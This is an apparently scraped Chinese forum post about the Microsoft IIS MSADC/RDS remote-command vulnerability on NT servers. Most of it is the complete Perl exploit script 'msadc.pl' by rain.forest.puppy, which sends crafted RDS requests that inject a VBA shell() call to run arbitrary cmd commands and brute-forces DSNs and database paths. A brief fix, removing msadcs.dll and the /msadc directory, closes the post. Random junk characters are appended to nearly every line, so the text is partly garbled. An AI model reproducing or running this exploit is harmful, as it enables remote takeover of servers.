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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) C!aX45eg  
Jm{As*W>  
涉及程序: sq8tv]  
Microsoft NT server uf{SxEa  
'0\0SL  
描述: 5pNvzw  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 OGSEvfW  
UMHuIA:%U  
详细: m _t(rn~f6  
如果你没有时间读详细内容的话,就删除: |_Naun=+~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll x]yHBc  
有关的安全问题就没有了。 ')5jllxv  
}e&KO?x+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ANA2S*r  
J8qu]{0I"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >m)2ox_B  
关于利用ODBC远程漏洞的描述,请参看: Y-}hNZn"{  
htdn$kqG   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~NNaLl  
ZaEBdBv  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9m<X-B&P  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z'*G'/*  
M]8eW  
这里不再论述。 |-SI(Khjk  
jzu l{'g  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ZI#SYEF6  
[)b/uR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [T$$od[.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o m{n"cg  
0ER6cTo-t  
7|{%CckN  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ByB0>G''.  
mCEKEX  
#!perl 8KtF<`A)  
# 'vf,T4uQ"  
# MSADC/RDS 'usage' (aka exploit) script % @^VrhS  
# } (GQDJp  
# by rain.forest.puppy B?/12+sR  
# D6pEQdX`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me i?P]}JENM  
# beta test and find errors! z- {"pI  
W~W?<%@  
use Socket; use Getopt::Std; *aSRKY  
getopts("e:vd:h:XR", \%args); &CPe$'FYI  
Og%zf1)aZM  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; eAenkUBz6,  
e\|E; l  
if (!defined $args{h} && !defined $args{R}) { -Z\UYt  
print qq~ >.k@!*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Qh1Kl_a?Lv  
-h <host> = host you want to scan (ip or domain) eog,EP"a8Y  
-d <seconds> = delay between calls, default 1 second I5|S8d<  
-X = dump Index Server path table, if available BT*K,p  
-v = verbose 'nmYB:&!  
-e = external dictionary file for step 5 *}Ae9  
+Fy- ~Mq  
Or a -R will resume a command session ]i_):@  
<R]Wy}2-  
~; exit;} $F /p8AraK  
Y GcY2p<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; !513rNO  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Wpg?%+Y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Z?G 3d(YT  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 01SFOPuR%(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;j Y'z5PH5  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } wtgO;w  
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if (!defined $args{R}){ $ret = &has_msadc; Liz 6ob  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8xGkh?%  
P[|B WNei  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 9iN!hy[  
. "cmd /c "; jy)9EU=  
$in=<STDIN>; chomp $in; { &JurZ  
$command="cmd /c " . $in ; }O-%kl  
fxf GJNR  
if (defined $args{R}) {&load; exit;} HDfQ9__  
">4[+'  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; k H( 3  
&try_btcustmr; 94>7-d  
^Qb!k/$3y  
print "\nStep 2: Trying to make our own DSN..."; *rMN,B@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <?`e9o  
qo&SJDG  
print "\nStep 3: Trying known DSNs..."; h 19.b:JT  
&known_dsn; ",,qFM!  
B#/~U`t*  
print "\nStep 4: Trying known .mdbs..."; &hM,b!R|  
&known_mdb; -QHzf&D?  
B'#gs'fl  
if (defined $args{e}){ f@V{}&ZWp  
print "\nStep 5: Trying dictionary of DSN names..."; U:\oGa84A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } -<VF6k<  
f~(^|~ZT  
print "Sorry Charley...maybe next time?\n"; -:1Gr8  
exit; w]}cB+C+l#  
JeSkNs|vB  
############################################################################## [7t0[U~3?  
B2+_F"<;  
sub sendraw { # ripped and modded from whisker q~A|R   
sleep($delay); # it's a DoS on the server! At least on mine... uS+b* :  
my ($pstr)=@_; fqp7a1qQl  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || FK,r<+h  
die("Socket problems\n"); 0BU:(o&  
if(connect(S,pack "SnA4x8",2,80,$target)){ h"%,eW|^  
select(S); $|=1; YUE 1 '}  
print $pstr; my @in=<S>; hE3jb.s(>  
select(STDOUT); close(S); qcoZ2VJ hh  
return @in; oeqJ?1=!  
} else { die("Can't connect...\n"); }} w})&[d  
W SeRV?+T  
############################################################################## $F'~^2  
ok=E/77`  
sub make_header { # make the HTTP request nd9-3W  
my $msadc=<<EOT IU"!oM^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '2B0D|r"a  
User-Agent: ACTIVEDATA t"@|;uPAu  
Host: $ip uZ{xt6 f  
Content-Length: $clen @RG3*3(  
Connection: Keep-Alive 9~ .BH;ku  
Ra,on&OP`*  
ADCClientVersion:01.06 O8}s*}]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Iw-6Z+ 94  
gZuR4Ti  
--!ADM!ROX!YOUR!WORLD! ;]ZHD$g  
Content-Type: application/x-varg bsS| !KT  
Content-Length: $reqlen E52:c]<'m  
UgBY ){<  
EOT ,}xC) >  
; $msadc=~s/\n/\r\n/g; `1}yB  
return $msadc;} m`w6wz  
\VzQ1B>k  
############################################################################## +GEKg~/4e  
:<|fZa4!"  
sub make_req { # make the RDS request Wh&Z *J  
my ($switch, $p1, $p2)=@_; YH6 K-}  
my $req=""; my $t1, $t2, $query, $dsn; m3ZOq B-  
91'^--N  
if ($switch==1){ # this is the btcustmr.mdb query f#JF5>o  
$query="Select * from Customers where City=" . make_shell(); !{- 3:N7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . x-P_}}K 79  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~1z8G>R  
W;j)ux7jMY  
elsif ($switch==2){ # this is general make table query ntUVhIE0  
$query="create table AZZ (B int, C varchar(10))"; !Kn+*'#  
$dsn="$p1";} cF6@.)  
Ts *'f  
elsif ($switch==3){ # this is general exploit table query (?=(eo<N  
$query="select * from AZZ where C=" . make_shell(); ku8Z;ONeH  
$dsn="$p1";}   rs KE  
uX!y,a/"  
elsif ($switch==4){ # attempt to hork file info from index server HAOrwJFqU  
$query="select path from scope()"; 0R{R=r]  
$dsn="Provider=MSIDXS;";} X>YOo~yS5  
wH5O>4LO  
elsif ($switch==5){ # bad query x~I1(l7r  
$query="select"; _34YH5  
$dsn="$p1";} #k]0[;1os  
A.*nDl`H  
$t1= make_unicode($query); trA `l/  
$t2= make_unicode($dsn); EG=>F1&M  
$req = "\x02\x00\x03\x00"; 8TM=AV  
$req.= "\x08\x00" . pack ("S1", length($t1)); SVeU7Q6-  
$req.= "\x00\x00" . $t1 ; ^,r;/c9A8  
$req.= "\x08\x00" . pack ("S1", length($t2)); NWX%0PGZ  
$req.= "\x00\x00" . $t2 ; H$'kWU*l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Pg}G4L?H;J  
return $req;} E<_6O Cz  
c8 fb)`,k  
############################################################################## jWjK-q@Y  
sm <kb@g  
sub make_shell { # this makes the shell() statement F}mwQ%M  
return "'|shell(\"$command\")|'";} t$Ji{t-  
YS6az0ie  
############################################################################## MA QY/s~F  
^Rh~+  
sub make_unicode { # quick little function to convert to unicode :D7!6}%  
my ($in)=@_; my $out; DO*C]   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Icb;Yzt  
return $out;} ?n~j2-[<  
6@36 1f[  
############################################################################## ~H."{  
5q*~h4=r7  
sub rdo_success { # checks for RDO return success (this is kludge) 7q=xW6  
my (@in) = @_; my $base=content_start(@in); |#,W3Ik(l  
if($in[$base]=~/multipart\/mixed/){ )W#g@V)>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p 5w g+K  
return 0;} Vi~+C@96  
D*b|(Oi  
############################################################################## '\qr=0aW  
UYLI>XSd  
sub make_dsn { # this makes a DSN for us dXN&<Q,  
my @drives=("c","d","e","f"); ?XrTZ{5'  
print "\nMaking DSN: "; TUCp mj  
foreach $drive (@drives) { 2o}FB\4^i  
print "$drive: "; 2(xKE_|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 5Wjp_^!e  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;hp; Rd  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 'KrkC A  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cM Kh+r  
return 0 if $2 eq "404"; # not found/doesn't exist }z:=b8}  
if($2 eq "200") { 1Ez A@3:{  
foreach $line (@results) { +#9 (T  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} LLN^^>5|l  
} return 0;} x=+H@YO\  
|]^! 4[!U  
############################################################################## J?DyTs3 Z  
)8PL7P84  
sub verify_exists { S}yb~uc,  
my ($page)=@_; g*9>z)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2sq<"TlQXI  
return $results[0];} C*zdHzMj  
DSa92:M}  
############################################################################## Z 0^d o  
s_ $@N!  
sub try_btcustmr { VNfx>&`  
my @drives=("c","d","e","f"); h{9 pr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JE!Xf}nEi  
(CwaO m{g  
foreach $dir (@dirs) { an@Ue7  
print "$dir -> "; # fun status so you can see progress 4\iQ%fb  
foreach $drive (@drives) { \|s/_35(  
print "$drive: "; # ditto J>&GP#7}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4(](' [M  
$reqlenlen=length( "$reqlen" ); s)=7tHoqB)  
$clen= 206 + $reqlenlen + $reqlen; ^4i3#}  
M1\/ueOe  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 0}!lN{m?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} h<q``hn>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} T!r7RS  
T9yW# .  
############################################################################## %UhF=C  
G3n7x?4m  
sub odbc_error { |&.)_+w  
my (@in)=@_; my $base; 4T-AWk  
my $base = content_start(@in); B(U`Zd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \U8Vsx1tl  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D:0PppE  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '-qc \6UY  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GW#Wy=(_  
return $in[$base+4].$in[$base+5].$in[$base+6];} L x&ZWF$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; XFYl[?`G  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X8TZePh  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} [0emOS  
75ob1h"  
############################################################################## 1:8: yFV  
9IMcp~zX  
sub verbose { e)8iPu ..  
my ($in)=@_; bv0 %{u&  
return if !$verbose; I Cs1=  
print STDOUT "\n$in\n";} wXnt3)e  
^W*/!q7H  
############################################################################## N:.bnF(  
9yPB)&"EF  
sub save { {,ljIhc,  
my ($p1, $p2, $p3, $p4)=@_; XhiC'.B_  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {DR+sE  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 3lqhjA  
close OUT;} X"sN~Q.0  
~gD'up@$/  
############################################################################## V8/o@I{U[  
nEYJ?_55  
sub load { H?m2|.  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z m%\L/BF  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); t+tGN\q  
@p=<IN>; close(IN); OZD/t(4?6s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); y{<7OTA)  
$target= inet_aton($ip) || die("inet_aton problems"); O1"!'Gk[!L  
print "Resuming to $ip ..."; ' wEP:}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [%pZM.jFO  
if($p[1]==1) { ObUQB+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i`X{pEKP+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f~Su F,o@h  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); O(VV-n7U  
if (rdo_success(@results)){print "Success!\n";} X"]ZV]7(]s  
else { print "failed\n"; verbose(odbc_error(@results));}} 'n=D$j]X  
elsif ($p[1]==3){ }Z|a?J@CZm  
if(run_query("$p[3]")){ slbV[xR  
print "Success!\n";} else { print "failed\n"; }} ?5D7n"jY  
elsif ($p[1]==4){ e0P1FD<@  
if(run_query($drvst . "$p[3]")){ 0NGokaD)H  
print "Success!\n"; } else { print "failed\n"; }} C/JFg-r  
exit;} ZJqmD  
(~~=<0S  
############################################################################## //(c 1/s  
.6*A~%-=[d  
sub create_table { BeRn9[  
my ($in)=@_; ~H.;pJ{ 8  
$reqlen=length( make_req(2,$in,"") ) - 28; \a#2Wm  
$reqlenlen=length( "$reqlen" ); 8I'?9rt2M  
$clen= 206 + $reqlenlen + $reqlen; bYz:gbs]4|  
my @results=sendraw(make_header() . make_req(2,$in,"")); Gu-Sv!4p  
return 1 if rdo_success(@results); sYL+;(#t  
my $temp= odbc_error(@results); verbose($temp); /i<g>*82  
return 1 if $temp=~/Table 'AZZ' already exists/; [3s~Z8 pP  
return 0;} nz(OHh!}u  
;AaF;zPV  
############################################################################## \n5,!,A  
8`D_"3j3g\  
sub known_dsn { 8dv1#F|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1/ a,7Hl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", mEGMe@37  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", nsPM`dz/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *\/UT  
B?]^}r  
foreach $dSn (@dsns) { c~V\,lcI  
print "."; ??F{Gli"C`  
next if (!is_access("DSN=$dSn")); #KIHq2:.4  
if(create_table("DSN=$dSn")){ `c icjA@~  
print "$dSn successful\n"; b#b#r  
if(run_query("DSN=$dSn")){ xc!"?&\*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \<5xf<{  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !@Ox%vK  
B`vV[w?  
############################################################################## tNjrd}8s  
1@am'#<  
sub is_access { ~HELMS~-  
my ($in)=@_; rO C~U85  
$reqlen=length( make_req(5,$in,"") ) - 28; Dbgw )n*2  
$reqlenlen=length( "$reqlen" ); B>R6j}rh'k  
$clen= 206 + $reqlenlen + $reqlen; MKbW^:  
my @results=sendraw(make_header() . make_req(5,$in,"")); \oi=fu=}*  
my $temp= odbc_error(@results); \ZC7vM"h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <X: 9y  
return 0;} 7L!k9"X`0F  
h:|aQJG5  
############################################################################## d-Sm<XHu.  
:G!Kaa,r  
sub run_query { lHx$F ?  
my ($in)=@_; ]!/1qF  
$reqlen=length( make_req(3,$in,"") ) - 28; (qaY,>je]D  
$reqlenlen=length( "$reqlen" ); wm}i+ApK  
$clen= 206 + $reqlenlen + $reqlen; A >e%rx  
my @results=sendraw(make_header() . make_req(3,$in,"")); H*Yy o ?  
return 1 if rdo_success(@results); <_D+'[  
my $temp= odbc_error(@results); verbose($temp); j,~h:MT  
return 0;} %l>^q`p  
D~-Ri`k.  
############################################################################## P63f0 F-G  
ZY83, :<  
sub known_mdb { *_ "j"{  
my @drives=("c","d","e","f","g"); pvX\k X3}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $zJ.4NA  
my $dir, $drive, $mdb; )msqt!Ev  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :5ji.g* 0  
q|S }5  
# this is sparse, because I don't know of many mF "ctxE  
my @sysmdbs=( "\\catroot\\icatalog.mdb", J<'4(}^|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [g<JP~4]  
"\\system32\\certmdb.mdb", /vBpRm  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +Ta7b)  
6%)dsTAB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]86U -`p  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ef#%4ky  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", C\1Dy5  
"\\cfusion\\cfapps\\security\\realm_.mdb", X@ TQD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", )s!x)< d;  
"\\cfusion\\database\\cfexamples.mdb", ]]Wa.P~]O  
"\\cfusion\\database\\cfsnippets.mdb", =|H/[",gg  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", *r%=p/oQ}B  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |W?x6]~.R  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I&4|T<j  
"\\cfusion\\database\\smpolicy.mdb", mp}ZHufG  
"\\cfusion\\database\cypress.mdb", "BK&C6]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", t/HE@xPxI5  
"\\website\\cgi-win\\dbsample.mdb", m+CvU?)gJ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", lrK5q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @zE_fL  
); #these are just p VLfZ?78  
foreach $drive (@drives) { A07FjT5w8  
foreach $dir (@dirs){ 9"&HxyOfX  
foreach $mdb (@sysmdbs) { rNdap*.  
print "."; B+,Z 3*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 41$7P[M;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _Nlx)YR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ iB{O"l@w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; i,,UD  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nXXyX[c4e  
>wZ!1Jq  
foreach $drive (@drives) { k}~|jLu@g  
foreach $mdb (@mdbs) { uS3J^=>@(a  
print "."; [@Y?'={qE  
if(create_table($drv . $drive . $dir . $mdb)){ !RAyUfS  
print "\n" . $drive . $dir . $mdb . " successful\n"; p.)G ],  
if(run_query($drv . $drive . $dir . $mdb)){ _.zW[;84b  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; AfyEFnY  
} else { print "Something's borked. Use verbose next time\n"; }}}} )0YMi!&j`  
} cSQvP.  
ji:JLvf]%  
############################################################################## >{V]q*[/;Q  
m;k' j@:  
sub hork_idx { UfXqcyY(  
print "\nAttempting to dump Index Server tables...\n"; [/6IEt3}B  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; nx8 4l7<  
$reqlen=length( make_req(4,"","") ) - 28; [26"?};"%  
$reqlenlen=length( "$reqlen" ); LC2t,!RRl&  
$clen= 206 + $reqlenlen + $reqlen; ]hc.cj`\W&  
my @results=sendraw2(make_header() . make_req(4,"","")); t /1KKEZM  
if (rdo_success(@results)){ ?tSFM:9PU  
my $max=@results; my $c; my %d;  5'Y @c  
for($c=19; $c<$max; $c++){ Syo1Dq6z.  
$results[$c]=~s/\x00//g; @ITJ}e4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; b[%sKl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .IE2d%]?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `,3;#.[D  
$d{"$1$2"}="";} H_un3x1  
foreach $c (keys %d){ print "$c\n"; } q{nNWvL  
} else {print "Index server doesn't seem to be installed.\n"; }} /q0[T{Wz$  
M|w;7P}  
############################################################################## ]%!:'#  
 mR)Xq=  
sub dsn_dict { VE`5bD+%e  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ys|tGU  
while(<IN>){ .i) H1sD  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; KY~p>Jmh  
next if (!is_access("DSN=$dSn")); TmxhP nJ~  
if(create_table("DSN=$dSn")){ qH1[Bs Ox  
print "$dSn successful\n"; *VG#SK  
if(run_query("DSN=$dSn")){  olB?"M=H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s3Pr$h  
print "Something's borked. Use verbose next time\n";}}} ?Id3#+-O  
print "\n"; close(IN);} Gb4k5jl  
@G@,)`p4?  
############################################################################## kI<;rP1S|  
R*|y:T,H  
sub sendraw2 { # ripped and modded from whisker .76T<j_  
sleep($delay); # it's a DoS on the server! At least on mine... QpxRYv  
my ($pstr)=@_; 3#<b!Yz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hd0d gc  
die("Socket problems\n"); S:aAR*<6  
if(connect(S,pack "SnA4x8",2,80,$target)){ [#hpWNez(>  
print "Connected. Getting data"; "%ou'\}  
open(OUT,">raw.out"); my @in; @-qS[bV  
select(S); $|=1; print $pstr; VRV*\*~$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 094~  s  
close(OUT); select(STDOUT); close(S); return @in; 33IJbg  
} else { die("Can't connect...\n"); }} a|?&  
,< Zu4bww  
############################################################################## \]uD"Jqv#  
#}Y$+FtO  
sub content_start { # this will take in the server headers HqC 1Dkw  
my (@in)=@_; my $c; s\O4D*8  
for ($c=1;$c<500;$c++) { Xo[j*<=0  
if($in[$c] =~/^\x0d\x0a/){ DLggR3K_\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } q#s:2#=  
else { return $c+1; }}} %Z_/MNI  
return -1;} # it should never get here actually <q\OREMsq  
w*#B_6bG  
############################################################################## }x!=F<Q!r  
]z3!hgTj  
sub funky { W}jel}:  
my (@in)=@_; my $error=odbc_error(@in); PIOG| E  
if($error=~/ADO could not find the specified provider/){ %EV\nwn6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \vwsRT 1  
exit;} 9n9Z  
if($error=~/A Handler is required/){ l ld,&N8  
print "\nServer has custom handler filters (they most likely are patched)\n"; +5~5BZP  
exit;} J,q6  
if($error=~/specified Handler has denied Access/){  ja!K2^  
print "\nServer has custom handler filters (they most likely are patched)\n"; oE/g) m%  
exit;}} <5@VFRjc  
8G3CQ]G  
############################################################################## W;L<zFFbU)  
\"k[y+O],4  
sub has_msadc { I "Qf};n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |p_\pa1&  
my $base=content_start(@results); ^V6cx2M  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 'C[{cr.`  
return 0;} n1!hfu7@s  
w8veh[%3n  
######################## H#/ #yVw  
@G'&7-(h*  
nUb0R~wr$G  
解决方案: <9f;\+zA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [Ey[A|g  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |; [XZ ZZ  
ce56$L8[  
拿出来充数 哈哈
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